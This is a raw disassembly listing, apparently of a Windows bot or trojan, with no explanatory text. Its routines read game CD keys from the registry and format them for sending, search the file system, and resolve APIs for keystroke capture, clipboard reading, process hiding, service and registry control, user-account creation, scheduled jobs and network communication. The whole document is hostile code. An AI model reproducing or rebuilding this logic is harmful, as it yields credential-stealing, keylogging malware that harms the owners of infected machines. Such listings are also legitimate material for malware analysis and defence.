call dword_43C44C
test eax, eax
jz short loc_4084B6
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call dword_43C56C
cmp eax, 0FFFFFFFFh
jz short loc_4084FE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jz short loc_4084FE
loc_4084B6: ; CODE XREF: sub_40840A+7Ej
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_43C44C
test eax, eax
jz loc_408420
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call dword_43C56C
cmp eax, 0FFFFFFFFh
jz short loc_4084FE
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call dword_43C5A4
cmp eax, 0FFFFFFFFh
jnz loc_408420
loc_4084FE: ; CODE XREF: sub_40840A+93j
; sub_40840A+AAj ...
pop edi
pop esi
pop ebx
leave
retn
sub_40840A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408503 proc near ; CODE XREF: sub_40CD3A+525Bp
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp off_427F0C, ebx
mov [ebp+var_C], 80h
jz loc_4086AF
push esi
push edi
mov eax, offset off_427F0C
mov esi, offset dword_427F18
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_408533: ; CODE XREF: sub_408503+1A4j
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call dword_43C5C4
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call dword_43C460
test eax, eax
jnz loc_408696
mov eax, [esi]
cmp eax, ebx
jz loc_40865A
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_415316
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_415A08
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_408696
push eax
jmp short loc_4085C3
; ---------------------------------------------------------------------------
loc_4085AE: ; CODE XREF: sub_408503+D0j
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_4158E0
pop ecx
test eax, eax
pop ecx
jz short loc_4085D7
push [ebp+var_8]
loc_4085C3: ; CODE XREF: sub_408503+A9j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_416FDC
add esp, 0Ch
test eax, eax
jnz short loc_4085AE
jmp short loc_40864F
; ---------------------------------------------------------------------------
loc_4085D7: ; CODE XREF: sub_408503+BBj
push 3Dh
push dword ptr [esi+4]
call sub_416F20
pop ecx
test eax, eax
pop ecx
lea eax, [ebp+var_70]
jz short loc_408616
push offset asc_429120 ; "="
push eax
call sub_416B3F
push offset asc_429120 ; "="
push ebx
call sub_416B3F
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_415316
add esp, 20h
jmp short loc_40862A
; ---------------------------------------------------------------------------
loc_408616: ; CODE XREF: sub_408503+E5j
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_415316
add esp, 10h
loc_40862A: ; CODE XREF: sub_408503+111j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_2F0]
push eax
call sub_40B078
add esp, 18h
loc_40864F: ; CODE XREF: sub_408503+D2j
push [ebp+var_8]
call sub_415960
pop ecx
jmp short loc_408696
; ---------------------------------------------------------------------------
loc_40865A: ; CODE XREF: sub_408503+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
lea eax, [ebp+var_2F0]
push eax
call sub_40B078
add esp, 28h
loc_408696: ; CODE XREF: sub_408503+60j
; sub_408503+A2j ...
push [ebp+var_4]
call dword_43C530
add esi, 18h
lea eax, [esi-0Ch]
cmp [eax], ebx
jnz loc_408533
pop edi
pop esi
loc_4086AF: ; CODE XREF: sub_408503+19j
pop ebx
leave
retn
sub_408503 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4086B2 proc near ; DATA XREF: sub_40CD3A+3B87o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_415B10
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_408707
lea eax, [ebp+var_114]
push eax
call sub_415B10
pop ecx
mov [ebp+eax+var_115], bl
loc_408707: ; CODE XREF: sub_4086B2+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_429178
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_41588A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_40874C
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412BD1
add esp, 14h
loc_40874C: ; CODE XREF: sub_4086B2+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_4087CA
push eax
lea eax, [ebp+var_49C]
push offset unk_429144
push eax
call sub_415316
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_4087AA
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412BD1
add esp, 14h
loc_4087AA: ; CODE XREF: sub_4086B2+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40B078
push [ebp+var_10]
call sub_4150F0
pop ecx
pop ecx
push ebx
call dword_421048 ; ExitThread
pop edi
pop esi
pop ebx
sub_4086B2 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4087CA proc near ; CODE XREF: sub_4086B2+B9p
; sub_4087CA+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_41588A
mov edi, dword_4210A8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408887
loc_408816: ; CODE XREF: sub_4087CA+BBj
test [ebp+var_144], 10h
jz short loc_408873
cmp [ebp+var_118], 2Eh
jnz short loc_40883A
cmp [ebp+var_117], 0
jz short loc_408873
cmp [ebp+var_117], 2Eh
jz short loc_408873
loc_40883A: ; CODE XREF: sub_4087CA+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41588A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4087CA
add esp, 2Ch
mov [ebp+arg_14], eax
loc_408873: ; CODE XREF: sub_4087CA+53j
; sub_4087CA+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_408816
loc_408887: ; CODE XREF: sub_4087CA+4Aj
push [ebp+var_4]
call dword_421098 ; FindClose
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_41588A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_40890D
loc_4088BE: ; CODE XREF: sub_4087CA+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_41588A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412BD1
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_4088BE
loc_40890D: ; CODE XREF: sub_4087CA+F2j
push esi
call dword_421098 ; FindClose
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_4087CA endp
; =============== S U B R O U T I N E =======================================
sub_40891C proc near ; CODE XREF: sub_40C574+55p
push ebx
push ebp
mov ebp, dword_4210C8
push esi
push edi
push offset aKernel32_dll_0 ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, dword_4210C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_408A3C
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi ; GetProcAddress
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov dword_43C600, eax
call esi ; GetProcAddress
push offset aProcess32first ; "Process32First"
push edi
mov dword_43C574, eax
call esi ; GetProcAddress
push offset aProcess32next ; "Process32Next"
push edi
mov dword_43C558, eax
call esi ; GetProcAddress
push offset aModule32first ; "Module32First"
push edi
mov dword_43C474, eax
call esi ; GetProcAddress
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov dword_43C420, eax
call esi ; GetProcAddress
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov dword_43C450, eax
call esi ; GetProcAddress
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov dword_43C4C4, eax
call esi ; GetProcAddress
push offset aSearchpatha ; "SearchPathA"
push edi
mov dword_43C5B4, eax
call esi ; GetProcAddress
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov dword_43C60C, eax
call esi ; GetProcAddress
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov dword_43C480, eax
call esi ; GetProcAddress
cmp dword_43C600, ebx
mov dword_43C468, eax
jz short loc_408A1A
cmp dword_43C574, ebx
jz short loc_408A1A
cmp dword_43C558, ebx
jz short loc_408A1A
cmp dword_43C474, ebx
jz short loc_408A1A
cmp dword_43C450, ebx
jz short loc_408A1A
cmp dword_43C4C4, ebx
jz short loc_408A1A
cmp dword_43C5B4, ebx
jz short loc_408A1A
cmp dword_43C60C, ebx
jz short loc_408A1A
cmp dword_43C480, ebx
jz short loc_408A1A
cmp eax, ebx
jnz short loc_408A24
loc_408A1A: ; CODE XREF: sub_40891C+B8j
; sub_40891C+C0j ...
mov dword_43C610, 1
loc_408A24: ; CODE XREF: sub_40891C+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43C58C, eax
jz short loc_408A51
push 1
push ebx
call eax
jmp short loc_408A51
; ---------------------------------------------------------------------------
loc_408A3C: ; CODE XREF: sub_40891C+1Dj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C614, eax
mov dword_43C610, 1
loc_408A51: ; CODE XREF: sub_40891C+117j
; sub_40891C+11Ej
push offset aUser32_dll ; "user32.dll"
call dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_408B66
push offset aSendmessagea ; "SendMessageA"
push edi
call esi ; GetProcAddress
push offset aFindwindowa ; "FindWindowA"
push edi
mov dword_43C5B0, eax
call esi ; GetProcAddress
push offset aIswindow ; "IsWindow"
push edi
mov dword_43C560, eax
call esi ; GetProcAddress
push offset aDestroywindow ; "DestroyWindow"
push edi
mov dword_43C4F4, eax
call esi ; GetProcAddress
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov dword_43C604, eax
call esi ; GetProcAddress
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov dword_43C524, eax
call esi ; GetProcAddress
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov dword_43C544, eax
call esi ; GetProcAddress
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov dword_43C5A8, eax
call esi ; GetProcAddress
cmp dword_43C5B0, ebx
mov dword_43C49C, eax
jz short loc_408B0A
cmp dword_43C560, ebx
jz short loc_408B0A
cmp dword_43C4F4, ebx
jz short loc_408B0A
cmp dword_43C604, ebx
jz short loc_408B0A
cmp dword_43C524, ebx
jz short loc_408B0A
cmp dword_43C544, ebx
jz short loc_408B0A
cmp dword_43C5A8, ebx
jz short loc_408B0A
cmp eax, ebx
jnz short loc_408B14
loc_408B0A: ; CODE XREF: sub_40891C+1B8j
; sub_40891C+1C0j ...
mov dword_43C618, 1
loc_408B14: ; CODE XREF: sub_40891C+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi ; GetProcAddress
push offset aGetkeystate ; "GetKeyState"
push edi
mov dword_43C520, eax
call esi ; GetProcAddress
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov dword_43C434, eax
call esi ; GetProcAddress
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov dword_43C4F0, eax
call esi ; GetProcAddress
cmp dword_43C520, ebx
mov dword_43C4DC, eax
jz short loc_408B71
cmp dword_43C434, ebx
jz short loc_408B71
cmp dword_43C4F0, ebx
jz short loc_408B71
cmp eax, ebx
jnz short loc_408B7B
jmp short loc_408B71
; ---------------------------------------------------------------------------
loc_408B66: ; CODE XREF: sub_40891C+144j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C61C, eax
loc_408B71: ; CODE XREF: sub_40891C+232j
; sub_40891C+23Aj ...
mov dword_43C618, 1
loc_408B7B: ; CODE XREF: sub_40891C+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408D16
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi ; GetProcAddress
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov dword_43C5C4, eax
call esi ; GetProcAddress
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov dword_43C508, eax
call esi ; GetProcAddress
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov dword_43C578, eax
call esi ; GetProcAddress
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov dword_43C460, eax
call esi ; GetProcAddress
push offset aRegclosekey ; "RegCloseKey"
push edi
mov dword_43C4C0, eax
call esi ; GetProcAddress
cmp dword_43C5C4, ebx
mov dword_43C530, eax
jz short loc_408C06
cmp dword_43C508, ebx
jz short loc_408C06
cmp dword_43C578, ebx
jz short loc_408C06
cmp dword_43C460, ebx
jz short loc_408C06
cmp dword_43C4C0, ebx
jz short loc_408C06
cmp eax, ebx
jnz short loc_408C10
loc_408C06: ; CODE XREF: sub_40891C+2C4j
; sub_40891C+2CCj ...
mov dword_43C620, 1
loc_408C10: ; CODE XREF: sub_40891C+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi ; GetProcAddress
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov dword_43C538, eax
call esi ; GetProcAddress
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov dword_43C510, eax
call esi ; GetProcAddress
cmp dword_43C538, ebx
mov dword_43C5C0, eax
jz short loc_408C4B
cmp dword_43C510, ebx
jz short loc_408C4B
cmp eax, ebx
jnz short loc_408C55
loc_408C4B: ; CODE XREF: sub_40891C+321j
; sub_40891C+329j
mov dword_43C620, 1
loc_408C55: ; CODE XREF: sub_40891C+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi ; GetProcAddress
push offset aOpenservicea ; "OpenServiceA"
push edi
mov dword_43C548, eax
call esi ; GetProcAddress
push offset aStartservicea ; "StartServiceA"
push edi
mov dword_43C43C, eax
call esi ; GetProcAddress
push offset aControlservice ; "ControlService"
push edi
mov dword_43C444, eax
call esi ; GetProcAddress
push offset aDeleteservice ; "DeleteService"
push edi
mov dword_43C4A4, eax
call esi ; GetProcAddress
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov dword_43C4A8, eax
call esi ; GetProcAddress
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov dword_43C458, eax
call esi ; GetProcAddress
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov dword_43C514, eax
call esi ; GetProcAddress
cmp dword_43C548, ebx
mov dword_43C448, eax
jz short loc_408CF9
cmp dword_43C43C, ebx
jz short loc_408CF9
cmp dword_43C444, ebx
jz short loc_408CF9
cmp dword_43C4A4, ebx
jz short loc_408CF9
cmp dword_43C4A8, ebx
jz short loc_408CF9
cmp dword_43C458, ebx
jz short loc_408CF9
cmp dword_43C514, ebx
jz short loc_408CF9
cmp eax, ebx
jnz short loc_408D03
loc_408CF9: ; CODE XREF: sub_40891C+3A7j
; sub_40891C+3AFj ...
mov dword_43C620, 1
loc_408D03: ; CODE XREF: sub_40891C+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi ; GetProcAddress
cmp eax, ebx
mov dword_43C440, eax
jnz short loc_408D2B
jmp short loc_408D21
; ---------------------------------------------------------------------------
loc_408D16: ; CODE XREF: sub_40891C+26Aj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C624, eax
loc_408D21: ; CODE XREF: sub_40891C+3F8j
mov dword_43C620, 1
loc_408D2B: ; CODE XREF: sub_40891C+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408DF7
push offset aCreatedca ; "CreateDCA"
push edi
call esi ; GetProcAddress
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov dword_43C540, eax
call esi ; GetProcAddress
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov dword_43C598, eax
call esi ; GetProcAddress
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov dword_43C5A0, eax
call esi ; GetProcAddress
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov dword_43C55C, eax
call esi ; GetProcAddress
push offset aSelectobject ; "SelectObject"
push edi
mov dword_43C484, eax
call esi ; GetProcAddress
push offset aBitblt ; "BitBlt"
push edi
mov dword_43C430, eax
call esi ; GetProcAddress
push offset aDeletedc ; "DeleteDC"
push edi
mov dword_43C59C, eax
call esi ; GetProcAddress
push offset aDeleteobject ; "DeleteObject"
push edi
mov dword_43C41C, eax
call esi ; GetProcAddress
cmp dword_43C540, ebx
mov dword_43C4B8, eax
jz short loc_408E02
cmp dword_43C598, ebx
jz short loc_408E02
cmp dword_43C5A0, ebx
jz short loc_408E02
cmp dword_43C55C, ebx
jz short loc_408E02
cmp dword_43C484, ebx
jz short loc_408E02
cmp dword_43C430, ebx
jz short loc_408E02
cmp dword_43C59C, ebx
jz short loc_408E02
cmp dword_43C41C, ebx
jz short loc_408E02
cmp eax, ebx
jnz short loc_408E0C
jmp short loc_408E02
; ---------------------------------------------------------------------------
loc_408DF7: ; CODE XREF: sub_40891C+41Aj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C62C, eax
loc_408E02: ; CODE XREF: sub_40891C+49Bj
; sub_40891C+4A3j ...
mov dword_43C628, 1
loc_408E0C: ; CODE XREF: sub_40891C+4D7j
mov ebp, dword_4210C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4090C8
push offset aWsastartup ; "WSAStartup"
push edi
call esi ; GetProcAddress
push offset aWsasocketa ; "WSASocketA"
push edi
mov dword_43C4CC, eax
call esi ; GetProcAddress
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov dword_43C5F8, eax
call esi ; GetProcAddress
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov dword_43C470, eax
call esi ; GetProcAddress
push offset aWsaioctl ; "WSAIoctl"
push edi
mov dword_43C44C, eax
call esi ; GetProcAddress
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov dword_43C500, eax
call esi ; GetProcAddress
push offset aWsacleanup ; "WSACleanup"
push edi
mov dword_43C4E8, eax
call esi ; GetProcAddress
push offset aSocket ; "socket"
push edi
mov dword_43C4B4, eax
call esi ; GetProcAddress
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov dword_43C5D4, eax
call esi ; GetProcAddress
push offset aConnect ; "connect"
push edi
mov dword_43C5F0, eax
call esi ; GetProcAddress
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov dword_43C4FC, eax
call esi ; GetProcAddress
push offset aInet_addr ; "inet_addr"
push edi
mov dword_43C5E0, eax
call esi ; GetProcAddress
push offset aHtons ; "htons"
push edi
mov dword_43C594, eax
call esi ; GetProcAddress
push offset aHtonl ; "htonl"
push edi
mov dword_43C554, eax
call esi ; GetProcAddress
push offset aNtohs ; "ntohs"
push edi
mov dword_43C550, eax
call esi ; GetProcAddress
push offset aNtohl ; "ntohl"
push edi
mov dword_43C490, eax
call esi ; GetProcAddress
push offset aSend ; "send"
push edi
mov dword_43C488, eax
call esi ; GetProcAddress
push offset aSendto ; "sendto"
push edi
mov dword_43C5A4, eax
call esi ; GetProcAddress
push offset aRecv ; "recv"
push edi
mov dword_43C5B8, eax
call esi ; GetProcAddress
push offset aRecvfrom ; "recvfrom"
push edi
mov dword_43C56C, eax
call esi ; GetProcAddress
mov dword_43C52C, eax
push offset aBind ; "bind"
push edi
call esi ; GetProcAddress
push offset aSelect ; "select"
push edi
mov dword_43C580, eax
call esi ; GetProcAddress
push offset aListen ; "listen"
push edi
mov dword_43C53C, eax
call esi ; GetProcAddress
push offset aAccept ; "accept"
push edi
mov dword_43C57C, eax
call esi ; GetProcAddress
push offset aSetsockopt ; "setsockopt"
push edi
mov dword_43C5E8, eax
call esi ; GetProcAddress
push offset aGetsockname ; "getsockname"
push edi
mov dword_43C534, eax
call esi ; GetProcAddress
push offset aGethostname ; "gethostname"
push edi
mov dword_43C4F8, eax
call esi ; GetProcAddress
push offset aGethostbyname ; "gethostbyname"
push edi
mov dword_43C568, eax
call esi ; GetProcAddress
push offset aGethostbyaddr ; "gethostbyaddr"
push edi
mov dword_43C5D8, eax
call esi ; GetProcAddress
push offset aGetpeername ; "getpeername"
push edi
mov dword_43C50C, eax
call esi ; GetProcAddress
push offset aClosesocket ; "closesocket"
push edi
mov dword_43C4B0, eax
call esi ; GetProcAddress
cmp dword_43C4CC, ebx
mov dword_43C5EC, eax
jz loc_4090D3
cmp dword_43C5F8, ebx
jz loc_4090D3
cmp dword_43C470, ebx
jz loc_4090D3
cmp dword_43C500, ebx
jz loc_4090D3
cmp dword_43C4E8, ebx
jz loc_4090D3
cmp dword_43C4B4, ebx
jz loc_4090D3
cmp dword_43C5D4, ebx
jz loc_4090D3
cmp dword_43C5F0, ebx
jz loc_4090D3
cmp dword_43C4FC, ebx
jz loc_4090D3
cmp dword_43C5E0, ebx
jz loc_4090D3
cmp dword_43C594, ebx
jz loc_4090D3
cmp dword_43C554, ebx
jz loc_4090D3
cmp dword_43C550, ebx
jz loc_4090D3
cmp dword_43C490, ebx
jz short loc_4090D3
cmp dword_43C5A4, ebx
jz short loc_4090D3
cmp dword_43C5B8, ebx
jz short loc_4090D3
cmp dword_43C56C, ebx
jz short loc_4090D3
cmp dword_43C52C, ebx
jz short loc_4090D3
cmp dword_43C580, ebx
jz short loc_4090D3
cmp dword_43C53C, ebx
jz short loc_4090D3
cmp dword_43C57C, ebx
jz short loc_4090D3
cmp dword_43C5E8, ebx
jz short loc_4090D3
cmp dword_43C534, ebx
jz short loc_4090D3
cmp dword_43C4F8, ebx
jz short loc_4090D3
cmp dword_43C568, ebx
jz short loc_4090D3
cmp dword_43C5D8, ebx
jz short loc_4090D3
cmp dword_43C50C, ebx
jz short loc_4090D3
cmp eax, ebx
jnz short loc_4090DD
jmp short loc_4090D3
; ---------------------------------------------------------------------------
loc_4090C8: ; CODE XREF: sub_40891C+501j
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C634, eax
loc_4090D3: ; CODE XREF: sub_40891C+6A0j
; sub_40891C+6ACj ...
mov dword_43C630, 1
loc_4090DD: ; CODE XREF: sub_40891C+7A8j
push offset aWininet_dll ; "wininet.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_4091E2
push offset aInternetgetcon ; "InternetGetConnectedState"
push edi
call esi ; GetProcAddress
push offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
push edi
mov dword_43C498, eax
call esi ; GetProcAddress
push offset aHttpopenreques ; "HttpOpenRequestA"
push edi
mov dword_43C424, eax
call esi ; GetProcAddress
push offset aHttpsendreques ; "HttpSendRequestA"
push edi
mov dword_43C51C, eax
call esi ; GetProcAddress
push offset aInternetconnec ; "InternetConnectA"
push edi
mov dword_43C4D0, eax
call esi ; GetProcAddress
push offset aInternetopena ; "InternetOpenA"
push edi
mov dword_43C528, eax
call esi ; GetProcAddress
push offset aInternetopenur ; "InternetOpenUrlA"
push edi
mov dword_43C4EC, eax
call esi ; GetProcAddress
push offset aInternetcracku ; "InternetCrackUrlA"
push edi
mov dword_43C464, eax
call esi ; GetProcAddress
push offset aInternetreadfi ; "InternetReadFile"
push edi
mov dword_43C45C, eax
call esi ; GetProcAddress
push offset aInternetcloseh ; "InternetCloseHandle"
push edi
mov dword_43C46C, eax
call esi ; GetProcAddress
cmp dword_43C498, ebx
mov ecx, dword_43C4EC
mov dword_43C588, eax
jz short loc_4091BE
cmp dword_43C424, ebx
jz short loc_4091BE
cmp dword_43C51C, ebx
jz short loc_4091BE
cmp dword_43C4D0, ebx
jz short loc_4091BE
cmp dword_43C528, ebx
jz short loc_4091BE
cmp ecx, ebx
jz short loc_4091BE
cmp dword_43C464, ebx
jz short loc_4091BE
cmp dword_43C45C, ebx
jz short loc_4091BE
cmp dword_43C46C, ebx
jz short loc_4091BE
cmp eax, ebx
jnz short loc_4091C8
loc_4091BE: ; CODE XREF: sub_40891C+860j
; sub_40891C+868j ...
mov dword_43C638, 1
loc_4091C8: ; CODE XREF: sub_40891C+8A0j
cmp ecx, ebx
jz short loc_4091FD
push ebx
push ebx
push ebx
push ebx
push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
call ecx
cmp eax, ebx
mov dword_43C504, eax
jnz short loc_4091FD
jmp short loc_4091F7
; ---------------------------------------------------------------------------
loc_4091E2: ; CODE XREF: sub_40891C+7CCj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C63C, eax
mov dword_43C638, 1
loc_4091F7: ; CODE XREF: sub_40891C+8C4j
mov dword_43C504, ebx
loc_4091FD: ; CODE XREF: sub_40891C+8AEj
; sub_40891C+8C2j
push offset aIcmp_dll ; "icmp.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz short loc_409247
push offset aIcmpcreatefile ; "IcmpCreateFile"
push edi
call esi ; GetProcAddress
push offset aIcmpclosehandl ; "IcmpCloseHandle"
push edi
mov dword_43C4E0, eax
call esi ; GetProcAddress
push offset aIcmpsendecho ; "IcmpSendEcho"
push edi
mov dword_43C608, eax
call esi ; GetProcAddress
cmp dword_43C4E0, ebx
mov dword_43C478, eax
jz short loc_409252
cmp dword_43C608, ebx
jz short loc_409252
cmp eax, ebx
jnz short loc_40925C
jmp short loc_409252
; ---------------------------------------------------------------------------
loc_409247: ; CODE XREF: sub_40891C+8ECj
call dword_421088 ; RtlGetLastWin32Error
mov dword_43C644, eax
loc_409252: ; CODE XREF: sub_40891C+91Bj
; sub_40891C+923j ...
mov dword_43C640, 1
loc_40925C: ; CODE XREF: sub_40891C+927j
push offset aNetapi32_dll ; "netapi32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409352
push offset aNetshareadd ; "NetShareAdd"
push edi
call esi ; GetProcAddress
push offset aNetsharedel ; "NetShareDel"
push edi
mov dword_43C454, eax
call esi ; GetProcAddress
push offset aNetshareenum ; "NetShareEnum"
push edi
mov dword_43C42C, eax
call esi ; GetProcAddress
push offset aNetschedulejob ; "NetScheduleJobAdd"
push edi
mov dword_43C4A0, eax
call esi ; GetProcAddress
push offset aNetapibufferfr ; "NetApiBufferFree"
push edi
mov dword_43C4D4, eax
call esi ; GetProcAddress
push offset aNetremotetod ; "NetRemoteTOD"
push edi
mov dword_43C5E4, eax
call esi ; GetProcAddress
push offset aNetuseradd ; "NetUserAdd"
push edi
mov dword_43C48C, eax
